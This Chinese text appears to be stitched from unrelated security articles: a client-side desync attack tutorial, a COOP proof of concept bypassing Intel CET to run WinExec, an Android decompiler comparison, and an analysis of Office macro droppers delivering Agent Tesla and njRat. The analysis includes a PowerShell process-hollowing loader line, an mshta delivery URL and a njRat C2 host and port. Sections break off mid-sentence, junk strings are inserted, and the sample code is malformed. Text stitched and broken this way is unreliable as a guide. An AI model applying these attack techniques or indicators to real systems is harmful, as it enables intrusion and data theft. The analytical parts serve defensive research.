其次,請求必須在web瀏覽器的跨域觸發。瀏覽器嚴重限制了對跨域請求的控制,因此你對標頭的控制有限,如果你的請求有正文,則需要使用HTTP POST 方法。最終,你只控制URL,加上一些零星的結尾,如Referer 標頭、正文和Content-Type 的後半部分:

微信截图_20220829140500.png

現在我們已經編寫了攻擊請求,我們需要檢查服務器是否忽略了CL。作為簡單的第一步,使用超長的CL 發出請求並查看服務器是否仍然回复:

20.png

這是有希望的,但不幸的是,一些安全服務器無需等待正文即可響應,因此你會遇到一些誤報。其他服務器沒有正確處理CL,而是在響應後立即關閉每個連接,使它們無法被利用。要過濾掉這些,請在同一連接下發送兩個請求,並查找第一個請求的正文影響對第二個的響應:

21.png

要在Burp Suite 中對此進行測試,將兩個請求放入Repeater中的一個標籤組,然後使用單連接發送序列。你還可以在Turbo Intruder 中通過禁用管道並將concurrentConnections 和requestsPerConnection 分別設置為1 和100 來實現此目的。

如果可行,請嘗試更改正文並確認第二個響應按預期更改。這個簡單的步驟旨在確認你對正在發生的事情的心理模型與現實相符。我個人在運行Citrix Web VPN 的系統上浪費了很多時間,只是意識到它只是為發送到某個端點的每個請求發出兩個HTTP 響應。

最後,重要的是要注意目標網站是否支持HTTP/2。 CSD 攻擊通常利用HTTP/1.1 連接重用,並且Web 瀏覽器更喜歡盡可能使用HTTP/2,因此如果目標網站支持HTTP/2,你的攻擊不太可能起作用。有一個例外;一些轉發代理不支持HTTP/2,因此你可以利用任何使用它們的人。這包括公司代理、某些VPN 甚至一些安全工具。

確認現在我們已經找到了CSD 向量,我們需要通過在真實瀏覽器中復制行為來排除任何潛在的漏洞。我推薦使用Chrome,因為它擁有創造CSD漏洞的最佳開發工具。

首先,選擇一個網站來發起攻擊。此網站必須通過HTTPS 訪問,並且位於與目標不同的域中。

接下來,確保你沒有配置代理,然後瀏覽到你的攻擊網站。打開開發人員工具並切換到網絡選項卡。為了幫助調試以後可能出現的問題,我建議進行以下調整:

選擇“保留日誌”複選框。

右鍵點擊列標題並啟用“連接ID”列。

切換到開發人員控制台並使用fetch()執行JavaScript來複製攻擊序列。如下所示:

22.png

我已將獲取模式設置為“no-cors”以確保Chrome 在“網絡”選項卡中顯示連接ID。我還設置了憑據:“包含”,因為Chrome 有兩個獨立的連接池,一個用於帶有cookie 的請求,一個用於不帶cookie 的請求。你通常會想要利用導航,並且那些使用“with-cookies”池。

執行此操作時,你應該在Network 選項卡中看到兩個具有相同連接ID 的請求,第二個應該觸發404:

23.png

如果這如預期的那樣工作,那麼恭喜你,你已經發現自己的客戶端不同步了!

探索過程現在我們已經確認了客戶端異步,下一步就是找到一個小工具來利用它。在Network選項卡中意外觸發404可能會給一些人留下深刻印象,但它不太可能產生任何用戶密碼或獎勵。

至此,我們已經確定我們可以攻擊受害者瀏覽器的連接池,並對我們選擇的HTTP 請求應用任意前綴。這是一個非常強大的原語,它提供了三種廣泛的攻擊途徑。

存儲在檢索位置一種選擇是識別目標網站上允許你存儲文本數據的功能,並編寫前綴,以便受害者的cookie、身份驗證標頭或密碼最終存儲在你可以檢索它們的位置。這種攻擊流程的工作原理與服務器端請求走私幾乎相同,所以我不會詳述。

Chainpivot下一個選項是全新的,由受害者瀏覽器中的新攻擊平台提供。

在正常情況下,很多類型的服務器端攻擊只能由直接訪問目標網站的攻擊者發起,因為它們依賴於瀏覽器拒絕發送的HTTP 請求。這幾乎包括了所有涉及篡改HTTP報頭的攻擊——Web 緩存攻擊、大多數服務器端請求走私、主機標頭攻擊、基於用戶代理的SQLi 以及許多其他攻擊。

例如,不可能讓其他人的瀏覽器在User-Agent 標頭中使用log4shell 有效負載發出以下請求:

24.png

CSD 漏洞為這些針對網站的攻擊打開了大門,這些網站由於位於受信任的內部網或隱藏在基於IP 的限制之後而受到保護。例如,如果intranet.example.com 易受CSD 攻擊,你可以使用以下請求達到相同的效果,可以在瀏覽器中使用fetch() 觸發該請求:

robbery.png

雖然數據執行保護(DEP)旨在阻止來自特定內存區域的純代碼注入攻擊,但道高一尺魔高一丈,攻擊者已經不再注入整個代碼的有效負載了,而是重新利用DEP允許的內存頁面中的多個代碼塊,稱為ROPgadget。這些代碼塊取自目標應用程序中現有的代碼,並鏈接在一起,以形成所需的攻擊者有效負載,或僅按頁禁用DEP,以允許運行現有代碼有效負載。

為了永久阻止ROP攻擊,Intel開發了一種新的硬件強制控制流完整性緩解措施,稱為控制強制技術(CET),大約兩年前首次在Windows系統上發布。

我們會在本文中簡要介紹CFI緩解措施的工作原理,包括CET,以及如何利用Counterfeit Object-Oriented Programming (COOP) 在最新Windows版本上有效繞過Intel CET。

Forward-Edge和Backward-EdgeCFI控制流完整性機制可以分為兩大類:Forward-Edge和Backward-Edge。

與Microsoft CFG4一樣,Forward-EdgeCFI通過使用經過驗證的函數地址來保護間接函數調用。例如,如果我們用ROPgadget地址重寫CALL [rax]指令中解引用的指針,CFG將通過發出異常來阻止我們的攻擊。

相反,像Intel的CET5這樣的Backward-EdgeCFI通過將函數的返回地址與存儲在Shadow Stack上的以前保存的地址版本進行比較來保護函數的返回地址。如果原始返回地址在內存被攻擊期間被重寫了,則地址對照( address comparison)將不可避免地失敗,應用程序將被終止。考慮到基於ROP的攻擊在沒有“CALL”指令的情況下執行“RET”指令,運行線程的堆棧和影子堆棧(shadow stack )值不匹配,因此像CET這樣的Backward-EdgeCFI有效地阻止了這種攻擊技術。

Intel CET旨在通過間接分支跟踪(IBT)通過影子堆棧和COP/JOP緩解ROP攻擊。然而,由於後一種技術尚未在Windows上實現,因此在本文中,我們將把“Intel CET”作為僅啟用影子堆棧的實現。

CET當前的實現方式非常無效,因為渲染器進程通常會被利用。儘管CET在瀏覽器上還沒有得到廣泛的執行,但我們應該期待它在未來的每一個進程中都得到執行。

偽造對象Felix Schuster在2015年提出了一種名為偽面向對象編程(COOP)的新代碼重用技術。不過該技術尚未在野外或公開利用被發現。我們寫這篇博文的目的是試圖利用這種理論方法,並在概念驗證中加以實現,以繞過Intel CET。

該技術背後的主要思想是偽造,即用攻擊者控制的有效負載在內存中生成新的對象,並通過目標應用程序或加載庫中已經存在的虛擬函數將它們鏈接在一起。

偽對像中包含的每個虛擬函數稱為vfgadget,負責執行一個小任務。與ROP類似,vfgadget可以執行諸如將值填充到寄存器中之類的任務。然而,當組合在一起時,多個vfgadget可以執行更高級的操作。

由於目前沒有專門的工具可以發現vfgadget,所以可以通過自定義腳本(如idpython)找到它們,使用類似於ROP gadget發現的過程。

由於vfgadget是從CFG有效函數池中選取的,我們可以將它們標記為合法的,一旦我們劫持了其中一個函數的間接調用,它們的執行就不會被CFG阻止。

此外,一個有趣的推論是Intel CET不會被觸發,因為我們不會在順序調用vfgadget的過程中損壞任何函數返回地址。

一個典型的COOP有效載荷從一個充當COOP主要功能的基本vfgadget開始。我們在本文稱之為Looper。一旦攻擊者在內存中集成了偽造對象,Looper vfgadget就會遍歷由攻擊者精心安排的其他vfgadget數組,這些vfgadget將被逐個調用。通過以這種方式對齊偽對像中的vfgadget,我們將能夠以可控的方式調用有效的虛擬函數。

Looper運行後,它可以調用其他負責執行特定操作的vfgadget,如Argument Loaders Invoker和Collector。這些vfgadget將定期存儲在Looper訪問的數組中。

Argument Loader vfgadget通過將值加載到給定寄存器中來填充該寄存器。要加載的值將存儲在偽對像中,位於假對像開始處的偏移位置。

一旦寄存器被一個或多個參數加載器填充,就可以調用Invoker vfgadget來簡單地執行目標API的函數指針。

Collector是一種gadget,用於檢索寄存器中已存在的值,並將其保存回攻擊者的偽造對象即作為從調用的API返回的值。

下圖總結了迄今為止討論的COOP攻擊策略。

1.png

COOP攻擊流

我們可以根據不同的vfgadget的可用性和想要執行的API來安排和混合它們。

為了更好地理解COOP攻擊,讓我們從分析主vfgadget Looper開始。以下彙編代碼提供了Looper COOP vfgadget的簡化版本:

2.png

Looper Gadget相關的ASM代碼

在第一行中,RCX持有this9指針,我們將偽對象的開頭加載到RBX中,該偽對象位於RCX的偏移量0x40處。由於偽對像中的所有項目都將以偏離此指針的偏移量為準,因此我們需要確保在劫持程序流之前保存其值(即通過破壞vtable)。

然後,COOP有效負載基址被解引用到RAX中,RAX指向被調用的第一個vfgadget。一旦調用返回,一個新的vfgadget將從前一個gadget的偏移量0x20處加載,如果RBX的內容不為零,則會進行新的循環迭代。

當在內存中寫入偽造對象時,我們需要預先對齊每個vfgadget以匹配Looper偏移量,類似於下面的佈局:

3.png

內存中的COOP緩衝區

這樣,00000227`26cd8900是COOP有效負載的基址,它存儲在‘this’指針(RCX)的偏移量0x40處。從前面的代碼清單中,我們注意到在_loopstart例程的第一行,指針被解引用到RAX中,而RAX又指向第一個vfgadget。在下一次循環迭代中,Looper通過在前一個循環的偏移量0x20處加載指針來重複相同的任務,並最終調用第二個vfgadget。

當利用真實的目標瀏覽器時,建議依賴Looper vfgadget,因為它比其他vfgadget提供了更多的控制和穩定性。但是,為了簡潔起見,我們在編寫易受攻擊的應用程序時只使用了一個Invoker vfgadget,它只接受一個參數。

在介紹了COOP的基本理論之後,讓我們繼續開發一個由CET編譯的概念驗證應用程序,該應用程序是我們為展示COOP攻擊而開發的。

與COOP繞過CET影子堆棧我們編寫的易受攻擊的應用程序是用CET和CFG以及默認啟用的DEP編譯的。

首先,為了驗證CET是否真的被強制執行,我們在printf上放置一個斷點,檢查調用堆棧,覆蓋返回地址並恢復執行。

4.png

驗證CET的執行

當收到一個涉及無效返回地址的Shadow Stack異常提示,就代表CET被啟用了。

由於CET是一種硬件強制緩解,為了觸發上述漏洞,我們至少需要一個英特爾虎湖( Tiger Lake )十一代酷睿CPU。

為了模擬瀏覽器漏洞,我們可以利用執行應用程序時自動觸發的應用程序中的類型混淆漏洞來獲得RIP控制。

當我們點擊該漏洞的觸發器時,vtable指針會被我們的輸入損壞,導致我們可以控制的間接調用。然後我們劫持vtable,使其指向第一個(也是唯一一個)vfgadget所在的COOP緩衝區。如上所述,為了簡潔起見,我們沒有使用帶有嵌套vfgadget的Looper,而是選擇使用一個同時具有Invoker和Argument Loader組件的gadget。

作為該漏洞自動利用的一部分,為了獲取vfgadget的‘this’指針,我們洩漏了堆棧指針,並將‘this’指針作為堆棧的靜態偏移量進行檢索。

一旦我們獲得了‘this’指針地址,我們就準備好要調用的WindowsAPI的地址及其參數。這是通過在偽對象內以所需偏移量寫入Windows API地址和參數來實現的。

在更詳細地研究COOP有效負載之前,讓我們先通過不帶任何參數運行PoC來理解它的語法。

5.png

獲取PoC的語法

應用程序接受四個參數:一個指向偽造對象(COOP)緩衝區的指針、vfgadget地址、Windows API地址及其參數。該助手顯示了兩個簡單的用例,但可以將其擴展為調用任何CFG允許的API(如果應用程序是用它編譯的)。

由於Windows DLL將在隨機基址加載,因此需要預先計算所需的API地址。

讓我們首先檢查與vfgadget相關的對象的C++代碼,然後從編譯的二進製文件探索其相應的程序集:

6.png

我們從中派生vfgadget的' trigger '方法

項目中的OffSec類包含一個觸發器方法,它充當一個C風格的函數指針,我們可以使用它來調用任何我們喜歡的API。然後,在主程序例程中實例化“OffSec”類,以便將其與方法一起加載到內存中。

仔細查看反彙編程序中的Invoker可以發現一些有趣的方面。

7.png

調用程序vfgadget

從第二行到第四行,RCX引用的‘this’指針首先存儲在堆棧中,然後移動到RAX中。接下來,從RAX偏移量0x10處的值被解引用並移動到RAX中。此值將是駐留在偽對像中的API函數指針。然後,在第7行和第8行,第一個函數參數從‘this’指針偏移量0x8處解引用,並移到RCX中。

我們很快就會發現,一旦我們從命令行提交了參數,易受攻擊的應用程序就會處理這些偏移。

在介紹了攻擊鏈的主要構建塊之後,讓我們嘗試通過傳遞四個參數來運行PoC,以獲得代碼執行:

8.png

運行帶有所有參數的PoC應用程序

通過上述命令,我們提供了以下參數:00001e000000作為偽對象的存儲緩衝區,5086014001000000作為Invoker vfgadget,40610fecfb7f0000是WinExec內存地址。作為最後一個參數,我們傳遞WinExec字符串參數。請注意,所有內存地址都是以little-endian格式傳遞的。

一旦啟動,應用程序立即停止,允許我們將調試器附加到它。在這樣做之前,我們啟動Process Explorer以驗證二進製文件實際上在啟用Intel CET的情況下運行。

9.png

驗證是否已使用Process Explorer啟用CET

在“堆棧保護”欄下,Process Explorer確認僅對CET兼容模塊強制執行CET,這意味著將對使用CET編譯的任何模塊強制執行緩解。附加調試器後,我們將斷點放置到主函數中唯一的間接調用,然後繼續執行。

10.png

間接調用時中斷

我們在main+0x3d2處放置了一個斷點,並驗證了在該地址確實有一個間接調用。接下來,我們將轉儲位於靜態地址0x1e0000的偽造對象的內容,該地址包含指向位於0000000 1400186a0的vfgadget的指針。

在main+0x3d2是類型混淆錯誤引發的地方,允許我們控制RIP。一旦到達斷點,我們就檢查駐留在COOP緩衝區中的值,它應該是第一個Invoker vfgadget。我們讓應用程序繼續運行,並驗證我們確實達到了斷點。

11.png

登錄第一個COOP vfgadget

在跟踪到CFG ldrpdispatchusercalltarget例程之後,我們跳轉到Invoker vfgadget ' OffSec:trigger ',證明我們已經控制了程序的執行流。然後我們繼續在vfgadget中進行跟踪:

12.png

將‘this’ 指針移動到RAX中

在上面的清單中,Invoker首先將‘this’指針從RCX保存到堆棧中,我們還驗證它是否指向COOP緩衝區的底部。在最後一條指令中,‘this’ 指針被加載到RAX中,RAX將用作調用API及其參數的引用:

13.png

通過‘this’ 指針加載WinExec參數

首先,在偏移量0x10處,我們可以看到WinExec地址被加載到RAX中,然後,在三條指令之後,命令參數被檢索到偏移量0x8處。

如果執行繼續,我們將再次調用LdrpDispatchUserCallTarget,它依次將執行分派給WinExec。

14.png

成功調用WinExec

這就完成了我們的簡單概念證明,我們介紹了通過調用CFG允許的函數,同時避免損壞任何返回地址,可以繞過Intel CET Shadow Stack並通過COOP攻擊獲得任意代碼執行。

此PoC應用程序的Visual Studio項目可以在這個URL中找到。

總結Intel CET提供了另一種強大的防禦機制,儘管如此,攻擊者可以採用新的攻擊途徑,如COOP來繞過這種緩解措施。

前言本次測試對比是為了呈現incinerator與PNFSofteware出品的JEB以及國內出品GDA在Android逆向工程能力的對比,從而讓大家更好更直觀的了解相關的詳細信息

本次測試對比的產品信息如下:

Incinerator: 1.0.0

JEB:3.19.1.202005071620

GDA:3.9.0

注:文章編寫日期與發佈時間有一定時間間隔,所以以下內容並不代表各產品的後續性能指標。

反編譯器對循環結構的還原能力測試Test1第一個測試中,設計了循環頭和鎖節點都為二路條件循環結構,為了測試循環結構化分析能力,多嵌套了幾個if語句(代碼標號為基本塊號)。程序簡單如下:

publicvoidtest1(inty,inta){

while(y0){

if(a10){

if(a100){

a=a*5;

break;

}else{

y=y/a;

}

}

}

}

}

流程图.png

編寫testdemo將代碼段生成apk後,並分別使用JEB、GDA、Incinerator來進行反編譯操作,從而進行代碼可讀性和語義準確性上的對比,如下圖所示:

95f762e41272c0aa3a7fe3914c2bdf56

test1

通過上述對比可以看出在語義準確性上,JEB發生了語義錯誤,在a 100時,丟失了a *=5的代碼塊,Incinerator與GDA保持了語義的準確性。

在代碼可讀性上,三者相差不大可讀性都很好。 Incinerator在if-else上做了相應的優化,可讀性略有提升。

在代碼還原度上,Incinerator做了對應優化,GDA重複聲明了a、y變量,其他方面最為接近源碼。而JEB存在代碼塊丟失。

反編譯器語義準確性代碼可讀性代碼還原度Incinerator高高JEB×高中GDA高高Test2接下來看看他們對雙層循環的結構化分析的能力,設計一個雙層循環,在內層循環break出外層循環,實際上基本塊5即if(a 10),不僅會是內存循環的鎖節點,也會是外層循環的鎖節點。並且該鎖節點為二路條件節點,其一個分支路徑回到內層循環,另外一個分支結構回到外層循環。一般對循環結構算法都是循環頭-鎖節點一一對應,因此處理過程中可能會復雜化該類結構。代碼實現非常簡單如下:

publicvoidtest2(inty,inta){

while(y0){

while(a0){

if(a10){

break;

}

}

}

}

attachBaseContext(this);

}重新編譯apk後,再進行反編譯後,如下圖所示:

f61654c8fad1346041bba769daa7b737

test2

通過上述對比可以看出在語義準確性上,Incinerator、JEB保持了語義的準確性,都識別除了雙重循環,GDA僅有函數聲明,丟失了整個函數的代碼塊。

在代碼可讀性上,Incinerator優化了if-else組合,JEB在if中加入continue省略else語句,兩者可讀性都很好。

在代碼還原度上,Incinerator、JEB除了各自在if-else上的優化,還原度都很高。

反編譯器語義準確性代碼可讀性代碼還原度Incinerator高高JEB高高GDA×低低Test3這一段代碼在退出循環的”if(a10)”語句中內嵌了另外一個if語句,這會導致內層循環的鎖節點發生變化,並且給內層循環添加了一個跟隨節點,另外代碼做了稍稍的改動。如下:

publicvoidtest3(inty,inta){

while(y0){

while(a50){

a=a+1;

y=y+1;

if(a10){

if(a100){

a=a*5;

break;

}else{

y=y/a;

}

}

}

this.attachBaseContext(this);

}

}繼續編譯成apk,再進行反編譯操作,如下圖所示:

8dd35acc6d19712de616aed4a9777f32

test3

通過對比可以看出在語義準確性上,Incinerator、JEB仍然保持了語義的準確性,GDA重複聲明了a、y變量,並且繼續丟失函數內部的代碼塊。

在代碼可讀性上,Incinerator、JEB保持很好的代碼可讀性,JEB使用了continue來分割嵌套的if。

在代碼還原度上,Incinerator最為接近源碼,JEB改為使用continue來分割嵌套的if。

反編譯器語義準確性代碼可讀性代碼還原度Incinerator高高JEB高高GDA×低低Test4在內層循環的第一個if-else結構上添加一個後隨節點,並且最後break出內層循環到外層循環。並且將a=a*5語句後的break改成continue。代碼如下:

publicvoidtest4(inty,inta){

while(y0){

y++;

while(a50){

a=a+1;

y=y+1;

if(a10){

if(a100){

a=a*5;

continue;

}else{

y=y/a;

}

}

y=a*y;

break;

}

this.attachBaseContext(this);

}

}同樣編譯成apk後再反編譯,如下圖所示:

6002ea5b38852a4bf5870e1aee4ad462

test4

通過上述對比可以看出

在語義準確性上,Incinerator在a *=5; 後面丟失了continue,在y *=a; 後面丟失了退出循環的break;JEB保持了語義的正確性;GDA重複聲明變量,也丟失了函數內的代碼塊。

在代碼可讀性上,Incinerator、JEB可讀性都很好。

在代碼還原度上,Incinerator與源碼最為相似,但是丟失了continue、break;JEB使用continue分開了if-else,將else後面的y /=a,與y *=a合併為新的y=y/a * a,並加入break,還原度上有了一定的改變。

反編譯器語義準確性代碼可讀性代碼還原度Incinerator×高中JEB高中GDA×低低Test5這次在“if(a10)”內部加入switch,在a為11、12時,執行“a=a * 5”,並continue返回內循環while,a為13時,執行“a=a * 6”,繼續往下執行,並不退出,a為14時,執行“a=a * 7” 退出switch, 與default中加入if-else,代碼如下:

publicvoidtest5(inty,inta){

while(y0){

y++;

while(a50){

a=a+1;

y=y+1;

if(a10){

switch(a){

case11:

case12:

a=a*5;

continue;

case13:

a=a*6;

case14:

a=a*7;

break;

default:

if(a100){

a=a*5;

continue;

}else{

y=y/a;

}

}

}

y=a*y;

break;

}

this.attachBaseContext(this);

}

}最後編譯成apk後反編譯,如下圖所示:

9423c2d3183b388f644c6fadcfbf5295

test5

通過上述對比可以看出在語義準確性上,Incinerator在switch將a為11、12、default中的continue錯誤表達為break,丟失了y *=a後面退出內循環的break;JEB保持了語義的正確性在,但在label_18的break之後,多了兩句無用的代碼a *=8;continue;GDA沒有識別出內循環,使用if與goto做處理,switch中a為11、12時多了break,沒有識別出a=14,且在default中,執行完y=y/a後繼續執行'a=a * 7'。

在代碼可讀性上,Incinerator識別出雙循環、switch-case可讀性上最好,JEB、GDA多次出現goto,在代碼可讀性上存在一定的影響。

在代碼還原度上,Incinerator與源碼最為相似,但在節點的退出上存在一定的問題,JEB、GDA在代碼的還原度上膨脹比較大。

反編譯器語義準確性代碼可讀性代碼還原度Incinerator×高中JEB中中GDA×中低調試能力測試逆向工程工具針對Apk可調試,對於研究人員來說有著極大的幫助,而對於已經發布後的應用再進行調試的話,可調試的前提條件會比較苛刻,如:設備是否root、調試屬性是否開啟、能否重打包等,這些因素都會影響著是否能夠調試,而影響調試功能的好壞、支持與否,取決於:能否stepover、stepinto、breakpoint,能否獲取/修改變量值等,這些因素都體現著調試器是否好用。所以我們從上述多個維度,對Incinerator、JEB的調試做下簡單對比,但因GDA不支持調試,所以下面的內容無法針對GDA進行測試對比。

這裡直接使用Android Studio自帶的example:Login Activity進行對比,如圖1-2所示:

72a03afc6836285c34d5e3234bf992fc

圖1

e1ecd5a7f6c45018c44dc7ea23ea0b3c

圖2

在登錄驗證的位置做細微修改,讓它基本不可能登錄成功,然後再分別使用JEB、Incinerator進行分析登錄過程,並繞過登錄限制。修改的代碼與登錄失敗,如圖3-4所示:

67e985a816171ca2bfbc7045086c456e

圖3

c686e78245ee860d6f9a03acecbcf3af

圖4

調試設備:Nexus 5X

系統版本:7.1.2

root狀態:已root

主要測試功能:

下斷點

步進

步過

跑至光標

顯示與修改變量值

免debugger屬性調試

smali調試

偽代碼調試

JEB調試首先手動安裝編譯好的apk,然後使用JEB反編譯對應apk,點擊JEB上的start. 如圖5所示:

f59a75d9a167571550761a7f9e0d45c7

圖5

出來Attach界面,因為應用還沒啟動,所以並沒有看到Processes中有進程列表,如圖6所示:

1d6c2a933eae2f3f45a43b8dfbfdaf61

圖6

通過命令(adb shell am start -D -n com.testdemo3/.ui.login.LoginActivity)啟動進程,JEB點擊(Refresh Machines List)刷新列表,看到已經跑起的測試案例,如圖7所示:

a7a1022cd33cdd32a34526e7950dc177

圖7

點擊Attach後,發現無法debug,按提示指app沒有開啟debuggable屬性或者設備沒有root,建議使用模擬器、root設備或者重打包app。 (實際上設備已root),如圖8所示:

14eb8cc4bcc1153f20d81ec3c48e0728

圖8

我們在AndroidManifest中加入android:debuggable='true'並重新編譯(如果是第三方的app只能嘗試用apktool等工具進行重打包,有簽名、完整性等校驗的話再想辦法將其繞過)

現在可以成功Attach上去。

我們使用JEB反編譯登錄界面的activity:LoginActivity,在按鈕的點擊觸發代碼中加入斷點,如圖9所示:

cb7e6b9d77ccdd3d0940a62ccbbe1773

圖9

因不支持在偽代碼中加入斷點,我們切換回smali(快捷鍵Q),在onClick的第一行按Ctrl+B加入斷點,如圖10所示:

2973f6abcb0812c148d737436de4b6d2

圖10

操作app,輸入帳號密碼,點擊:SIGN IN OR REGISTER,在JEB中成功觸發斷點,如圖11所示:

JEB此處有個優勢,它的佈局可以根據個人喜好隨意拖拉

4e5e64f1ce1c439f2938500955500b94

圖11

當前顯示的變量似乎有些異常,我們此時忽略他,鼠標放到00000040 處,點擊JEB的'Run to line',成功跳到指定行,如圖12所示:

5e176b7f9fb8c43f2b0c2a4abbda242f

圖12

JEB一開始將所有變量當作int類型處理,我們分析代碼,可以知道此處的V1、V2是輸入的帳號與密碼,類型是String,因此,我們點擊V1、V2中的Type將int改為String,如圖13所示:

c5573234eacd57bc2809142639d00c88

圖13

v1、v2成功修正類型,對應的值也成功顯示出我們測試輸入的帳號密碼。

在JEB中點擊步進(Step Into)到LoginViewModel的login方法,如圖14所示:

7a36c5e8a7cabc39b6d6a50302369f5b

圖14

成功步進LoginViewModel的login方法,但是在這裡可以看到,剛才修改的類型(此處對應的是p1、p2)又重新變回了int。

根據smali可知道,接下來會調用LoginRepository的login方法,隨後返回Result

我們再繼續點擊兩次步進(Step Into)進入LoginRepository的login方法,如圖15所示:

9d65fb40f8f67ea74cea4507b3dcf0d4

圖15

在此方法中,它會繼續將帳號密碼傳給LoginDataSource的login方法,返回Result

繼續步進(Step Into)兩次,進入LoginDataSource的log

研究人員最近發現了一些惡意的Microsoft Office文件,這些文件試圖利用合法網站MediaFire和Blogger執行shell腳本,然後釋放Agent Tesla和njRat的兩個惡意變體。 Agent Tesla是一款著名的監視軟件,首次發現於2014年,它可以從web瀏覽器、郵件客戶端和FTP服務器中竊取個人數據,收集屏幕截圖和視頻,並收集剪貼板數據。 njRat(也稱為Bladabindi)是2013年首次發現的遠程代理木馬,能夠遠程控制受害者的設備,記錄擊鍵、訪問攝像頭、竊取瀏覽器中存儲的憑據、上傳/下載文件、操作註冊表等。

马云惹不起马云受影響的平台:Microsoft Windows

马云惹不起马云受影響方:Windows用戶

马云惹不起马云影響:控制和收集受害者設備中的敏感信息

马云惹不起马云 嚴重級別:嚴重

在本文中,我們將詳細介紹我們發現的文件、它們用於傳播有效負載的嵌入腳本,以及這些惡意軟件變體的行為。

第1階段在2022年9月,研究人員發現了兩種文件。一個是PowerPoint加載項,另一個是包含誘餌圖片和嵌入Excel表單的Word文件。這兩個文件都包含類似的VBA腳本,在打開文件後立即執行宏。

1.png

根據PPT插件中的VBA腳本(如上圖所示),代碼會自動觸發,因為它使用了“Auto_Open()”函數。其“ControlTipText”和“Tag”字段包含完整的命令“mshta”和MediaFire URL。我們可以在“vbaProject.bin”中看到完整的URL。

2.png

PPT加載項中的VBA宏

3.png

vbaProject.bin文件中完整的惡意URL

第2階段從下圖所示的Process Explorer中可以看到,“mshta”進程在點擊文件中的“Enable Macros”後立即啟動。這導致了MediaFire網站,這是一個合法的文件和圖片共享平台。

4.png

點擊“Enable Macros”後的Process Explorer

以下是第一階段VBA宏中“1.htm”的內容:

5.png

從MediaFire下載的“1.htm”

下圖顯示了將一些十六進製字符串轉換為ascii字符串後的更清晰的圖片。

6.png

轉換後的“1.htm”

這個HTML文件有三個主要任務:

1.從MediaFire網站傳送第三階段腳本文件;

2.終止任務WINWORD.EXE;

3.通過創建計劃任務添加持久性。它使用“mshta”連接到“http[:]//www.webclientservices.co[.]uk/p/1[.]html”網站,該網站每73分鐘包含一個類似的腳本。以下是2022年9月的博客截圖:

7.png

9月中旬www[.webclientservices[.co[.uk/p/1[.html]網頁

研究人員還發現,“www[.]webclientservices[.]co[.]uk”中的1.html文件已更新並重命名為“real all BACK SEP 2022”。嵌入式JavaScript也被修改了,現在可以發布其他惡意軟件。

8.png

9月底發現的www[.]webclientservices[.]co[.]uk/p/1[.]html更新頁面

第3階段“1.txt”中的PowerShell腳本是從MediaFire下載的,它通過進程空心化技術提供最終有效負載。它首先終止所有相關進程,並對加載程序和有效負載進行解碼。然後它調用最終有效載荷並部署它,繞過AMSI。主要惡意軟件和部分代碼被編碼並替換為字符串,以增加分析的難度。

9.png

用於加載代理特斯拉的PowerShell的全圖

10.png

執行PowerShell後的Process Explorer

在“Load Agent Tesla Payload”過程的第二部分中,變量$CLE11和$RNBX1是更換一些字符串後的最終有效負載和加載器。基於.NET的不同版本,它自定義了繼續進行進程空心化活動的路徑:

$Path='C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe'

$Path2='C:\Windows\Microsoft.NET\Framework\v2.0.50727\caspol.exe'

$Path3='C:\Windows\Microsoft.NET\Framework\v3.5\Msbuild.exe

[Ref]/Assembly:Load((HexaToByte($RNBX1))).GetType('CALC'.PAYSIAS'.'GetMethod'(Execute).Invoke($null,[object[]] ($Path, HexaToByte($CLE11)));

研究人員將$RNBX1保存為可執行文件,並用dnSpy打開它。目標類和方法如下圖所示。此.Net加載器利用一些模糊處理來隱藏主要API(CreateProcess、VirtualAllocEx…等)。

11.png

Net Loader

研究人員找到了目標進程“jsc.ex”、“caspol.exe”和“Msbuild.exe”,它們在受害者的設備中安靜運行。詳細信息如下圖所示。

12.png

流程空心化時的Process Explorer

在PowerShell部分的末尾,它禁用了日誌記錄,並通過打補丁繞過AMSI。詳細步驟如下所示。

13.png

繞過PowerShell中的AMSI

最後階段(第一部分)第一個惡意軟件負載是Agent Tesla。這種變體在9月中旬開始傳播。它包括合法的文件信息,“NirSoft”公司的“Web瀏覽器密碼查看器”,並使用FTP發送被盜數據。

14.png

Agent Tesla的基本信息

下圖是用於傳輸提取數據的攻擊者FTP服務器信息的屏幕截圖,包括用戶名和密碼。此變體還將自身複製到%appdata%目錄中,文件名為“NGCwje.exe”以進行持久化。

15.png

攻擊者的服務器信息

然後,它開始提取受害者設備的信息,例如基板的序列號、處理器ID和MAC地址。然後,它為該數據生成一個MD5哈希。

16.png

為受害設備的信息生成Md5哈希

Agent Tesla使用一個典型的應用程序列表來竊取登錄憑據、Cookie、郵件信息和VPN數據。這些項目的一部分如下圖所示:

17.png

目標瀏覽器應用程序列表

一旦惡意軟件從受害者的設備檢索到憑證和其他信息,它通過使用硬編碼IP的FTP協議發送這些數據。

18.png

使用FTP協議

19.png

從受害者設備捕獲的流量

根據遇到的不同類型的文件,它使用四種打開字符串:“CO”表示cookie數據,“KL”表示鍵盤記錄,“PW”表示受害者的密碼信息,“SC”表示屏幕截圖文件。惡意軟件使用下劃線將數據類型、用戶名、設備名稱和時間戳連接在一起,作為數據ZIP文件的文件名。被盜zip文件列表如下所示:

20.png

FTP服務器上Zip文件的部分列表

最後階段(第二部分)第二個有效載荷是njRat,也稱為Bladabindi。它是一個.NET特洛伊木馬,用於控制和監控受害者的設備。此變體對其字符串生成和代碼流使用模糊處理。從方法ko()的IDA圖形概覽中,你可以看到這個變體更複雜,但你仍然可以識別類似的函數。

21.png

IDA圖概述

22.png

njRat的入口點

23.png

字符串解碼功能

首先,它在“Startup”和“Templates”文件夾中創建lnk和exe文件,文件名為“Windows”。這個名字用來欺騙用戶和分析師,讓他們認為它是合法的Windows文件。

24.png

創建持久性

然後,它以相反的順序獲取命令和控制服務器主機名和端口號。

25.png

命令和控制服務器信息

為了確保此惡意軟件只在此受害者上運行一次,它添加了名為“di”、數據為“!”的“HKEY_CURRENT_USER”。

26.png

添加到“HKEY_CURRENT_USER”中的註冊表

27.png

註冊表狀態

它還創建了一個帶有字符串“Windows”的互斥鎖,將環境變量“SEE_MASK_NOZONECHECKS”設置為1,並檢查此互斥鎖是否以前創建過。如果是,則結束該過程。

28.png

創建互斥鎖

29.png

設置環境變量

如下圖所示,收集設備信息後,它使用base64對其進行編碼並連接數據。然後,它使用硬編碼的TCP端口7575將數據傳輸到服務器“mobnew6565[.]duckdns[.]org”。

30.png

連接數據

以下是Win10受害者設備的C2流量。分隔符更改為“|-F-|”,版本為“v4.0”,但數據包的格式類似於舊的njRat版本:

31.png

從受害者處捕獲的流量

